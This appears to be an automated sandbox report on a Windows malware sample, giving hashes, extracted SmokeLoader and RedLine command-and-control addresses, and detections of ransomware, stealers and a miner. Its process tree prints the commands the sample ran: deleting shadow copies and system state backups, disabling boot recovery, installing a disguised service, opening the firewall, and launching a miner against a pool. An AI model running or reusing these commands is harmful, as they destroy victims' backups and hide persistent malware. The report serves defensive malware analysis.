Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21-09-2021 01:17

General

  • Target

    e2182bd67553bff631bb93f7a016163c7cb82485cf9614bf566c9b49e821b158.exe

  • Size

    215KB

  • MD5

    050902ef3cb5d1ad0f03b11c767b6555

  • SHA1

    ad2e5d9f525909ead63b561202391e6abdd59483

  • SHA256

    e2182bd67553bff631bb93f7a016163c7cb82485cf9614bf566c9b49e821b158

  • SHA512

    b6fc0030d946cf4076c96d8c6625fa3b7e7cbffbbfbc9b213c0124426c5e4e6c11a003afb08cc57878a80bddef51304ac56ae397826e19b604904ae2b9f85efc

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://venerynnet1.top/

http://kevonahira2.top/

http://vegangelist3.top/

http://kingriffaele4.top/

http://arakeishant5.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installEXE

C2

146.70.35.170:30905

Extracted

Family

redline

Botnet

khrip1k

C2

91.142.77.155:5469

Signatures

  • MedusaLocker

    Ransomware with several variants first seen in September 2019.

  • MedusaLocker Payload 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 12 IoCs
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 33 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 42 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 49 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Interacts with shadow copies 2 TTPs 13 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e2182bd67553bff631bb93f7a016163c7cb82485cf9614bf566c9b49e821b158.exe
    "C:\Users\Admin\AppData\Local\Temp\e2182bd67553bff631bb93f7a016163c7cb82485cf9614bf566c9b49e821b158.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3936
    • C:\Users\Admin\AppData\Local\Temp\e2182bd67553bff631bb93f7a016163c7cb82485cf9614bf566c9b49e821b158.exe
      "C:\Users\Admin\AppData\Local\Temp\e2182bd67553bff631bb93f7a016163c7cb82485cf9614bf566c9b49e821b158.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1916
  • C:\Users\Admin\AppData\Local\Temp\F35F.exe
    C:\Users\Admin\AppData\Local\Temp\F35F.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Users\Admin\AppData\Local\Temp\F35F.exe
      C:\Users\Admin\AppData\Local\Temp\F35F.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2260
  • C:\Users\Admin\AppData\Local\Temp\FA93.exe
    C:\Users\Admin\AppData\Local\Temp\FA93.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2780
    • C:\Users\Admin\AppData\Local\Temp\FA93.exe
      C:\Users\Admin\AppData\Local\Temp\FA93.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3948
  • C:\Users\Admin\AppData\Local\Temp\65C.exe
    C:\Users\Admin\AppData\Local\Temp\65C.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:2704
  • C:\Users\Admin\AppData\Local\Temp\63B0.exe
    C:\Users\Admin\AppData\Local\Temp\63B0.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rffbcks\
      2⤵
        PID:2568
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qxayzzpd.exe" C:\Windows\SysWOW64\rffbcks\
        2⤵
          PID:2800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rffbcks binPath= "C:\Windows\SysWOW64\rffbcks\qxayzzpd.exe /d\"C:\Users\Admin\AppData\Local\Temp\63B0.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2796
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description rffbcks "wifi internet conection"
            2⤵
              PID:3760
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rffbcks
              2⤵
                PID:2924
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3772
              • C:\Users\Admin\AppData\Local\Temp\7005.exe
                C:\Users\Admin\AppData\Local\Temp\7005.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2084
              • C:\Users\Admin\AppData\Local\Temp\80CF.exe
                C:\Users\Admin\AppData\Local\Temp\80CF.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:4064
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\80CF.exe"
                  2⤵
                    PID:3760
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:528
                • C:\Windows\SysWOW64\rffbcks\qxayzzpd.exe
                  C:\Windows\SysWOW64\rffbcks\qxayzzpd.exe /d"C:\Users\Admin\AppData\Local\Temp\63B0.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1108
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:4084
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:2160
                  • C:\Users\Admin\AppData\Local\Temp\A9C4.exe
                    C:\Users\Admin\AppData\Local\Temp\A9C4.exe
                    1⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Modifies extensions of user files
                    • Adds Run key to start application
                    • Drops desktop.ini file(s)
                    • Enumerates connected drives
                    • Drops file in System32 directory
                    • Drops file in Program Files directory
                    • Drops file in Windows directory
                    • System policy modification
                    PID:2812
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
                      2⤵
                      • Interacts with shadow copies
                      PID:2160
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
                      2⤵
                      • Interacts with shadow copies
                      PID:3588
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:4044
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:856
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
                      2⤵
                      • Interacts with shadow copies
                      PID:260
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:2088
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
                      2⤵
                      • Interacts with shadow copies
                      PID:3672
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
                      2⤵
                      • Interacts with shadow copies
                      PID:2468
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
                      2⤵
                      • Interacts with shadow copies
                      PID:248
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:2256
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:280
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:2588
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Delete Shadows /All /Quiet
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:3672
                    • C:\Windows\SYSTEM32\bcdedit.exe
                      bcdedit.exe /set {default} recoveryenabled No
                      2⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1756
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        3⤵
                        • Enumerates connected drives
                        PID:2468
                    • C:\Windows\SYSTEM32\bcdedit.exe
                      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                      2⤵
                      • Modifies boot configuration data using bcdedit
                      PID:3748
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        3⤵
                        • Enumerates connected drives
                        PID:248
                    • C:\Windows\SYSTEM32\wbadmin.exe
                      wbadmin DELETE SYSTEMSTATEBACKUP
                      2⤵
                      • Deletes System State backups
                      • Drops file in Windows directory
                      PID:2072
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        3⤵
                        • Enumerates connected drives
                        PID:260
                    • C:\Windows\SYSTEM32\wbadmin.exe
                      wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                      2⤵
                      • Deletes System State backups
                      • Drops file in Windows directory
                      PID:2800
                    • C:\Windows\System32\Wbem\wmic.exe
                      wmic.exe SHADOWCOPY /nointeractive
                      2⤵
                        PID:1240
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\A9C4.exe >> NUL
                        2⤵
                          PID:2912
                      • C:\Users\Admin\AppData\Local\Temp\B4B2.exe
                        C:\Users\Admin\AppData\Local\Temp\B4B2.exe
                        1⤵
                        • Executes dropped EXE
                        PID:2780
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                          PID:1548
                        • C:\Users\Admin\AppData\Local\Temp\BE19.exe
                          C:\Users\Admin\AppData\Local\Temp\BE19.exe
                          1⤵
                          • Executes dropped EXE
                          PID:3932

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • memory/1108-220-0x0000000000400000-0x00000000004C1000-memory.dmp

                          Filesize

                          772KB

                        • memory/1108-217-0x0000000000620000-0x0000000000633000-memory.dmp

                          Filesize

                          76KB

                        • memory/1916-115-0x0000000000400000-0x0000000000408000-memory.dmp

                          Filesize

                          32KB

                        • memory/2072-193-0x0000000000400000-0x00000000004C1000-memory.dmp

                          Filesize

                          772KB

                        • memory/2072-192-0x00000000004D0000-0x000000000057E000-memory.dmp

                          Filesize

                          696KB

                        • memory/2084-182-0x00000000774B0000-0x000000007763E000-memory.dmp

                          Filesize

                          1.6MB

                        • memory/2084-183-0x0000000000F60000-0x0000000000F61000-memory.dmp

                          Filesize

                          4KB

                        • memory/2084-189-0x0000000005FD0000-0x0000000005FD1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2084-190-0x0000000006030000-0x0000000006031000-memory.dmp

                          Filesize

                          4KB

                        • memory/2160-271-0x0000000003270000-0x0000000003361000-memory.dmp

                          Filesize

                          964KB

                        • memory/2568-136-0x00000000005F0000-0x000000000073A000-memory.dmp

                          Filesize

                          1.3MB

                        • memory/2704-149-0x0000000005350000-0x0000000005351000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-167-0x0000000006DA0000-0x0000000006DA1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-155-0x00000000053A0000-0x00000000053A1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-172-0x0000000007140000-0x0000000007141000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-151-0x0000000005360000-0x0000000005361000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-147-0x00000000774B0000-0x000000007763E000-memory.dmp

                          Filesize

                          1.6MB

                        • memory/2704-142-0x0000000005470000-0x0000000005471000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-141-0x00000000052C0000-0x00000000052C1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-140-0x0000000005970000-0x0000000005971000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-138-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2704-174-0x0000000008950000-0x0000000008951000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-251-0x0000000004AC2000-0x0000000004AC3000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-253-0x0000000004AC4000-0x0000000004AC6000-memory.dmp

                          Filesize

                          8KB

                        • memory/2780-130-0x00000000053E0000-0x00000000053E1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-129-0x00000000058F0000-0x00000000058F1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-235-0x00000000023F0000-0x000000000240F000-memory.dmp

                          Filesize

                          124KB

                        • memory/2780-237-0x0000000004990000-0x00000000049AE000-memory.dmp

                          Filesize

                          120KB

                        • memory/2780-128-0x00000000051A0000-0x00000000051A1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-244-0x00000000070E0000-0x00000000070E1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-127-0x0000000005220000-0x0000000005221000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-125-0x00000000009C0000-0x00000000009C1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-249-0x0000000000400000-0x0000000000467000-memory.dmp

                          Filesize

                          412KB

                        • memory/2780-248-0x00000000004B0000-0x00000000004E0000-memory.dmp

                          Filesize

                          192KB

                        • memory/2780-250-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2780-252-0x0000000004AC3000-0x0000000004AC4000-memory.dmp

                          Filesize

                          4KB

                        • memory/2812-231-0x00007FF6BA210000-0x00007FF6BAA88000-memory.dmp

                          Filesize

                          8.5MB

                        • memory/2848-118-0x00000000007E0000-0x00000000007F5000-memory.dmp

                          Filesize

                          84KB

                        • memory/2848-159-0x0000000000A00000-0x0000000000A15000-memory.dmp

                          Filesize

                          84KB

                        • memory/3932-277-0x0000000001FE0000-0x0000000002070000-memory.dmp

                          Filesize

                          576KB

                        • memory/3932-278-0x0000000000400000-0x0000000000503000-memory.dmp

                          Filesize

                          1.0MB

                        • memory/3936-117-0x0000000000640000-0x0000000000649000-memory.dmp

                          Filesize

                          36KB

                        • memory/3948-143-0x0000000000400000-0x0000000000422000-memory.dmp

                          Filesize

                          136KB

                        • memory/3948-158-0x0000000005640000-0x0000000005C46000-memory.dmp

                          Filesize

                          6.0MB

                        • memory/3948-160-0x0000000007080000-0x0000000007081000-memory.dmp

                          Filesize

                          4KB

                        • memory/3948-162-0x0000000007780000-0x0000000007781000-memory.dmp

                          Filesize

                          4KB

                        • memory/4064-204-0x00000000065F0000-0x000000000A6CF000-memory.dmp

                          Filesize

                          64.9MB

                        • memory/4064-205-0x0000000000400000-0x0000000004605000-memory.dmp

                          Filesize

                          66.0MB

                        • memory/4084-215-0x0000000000810000-0x0000000000825000-memory.dmp

                          Filesize

                          84KB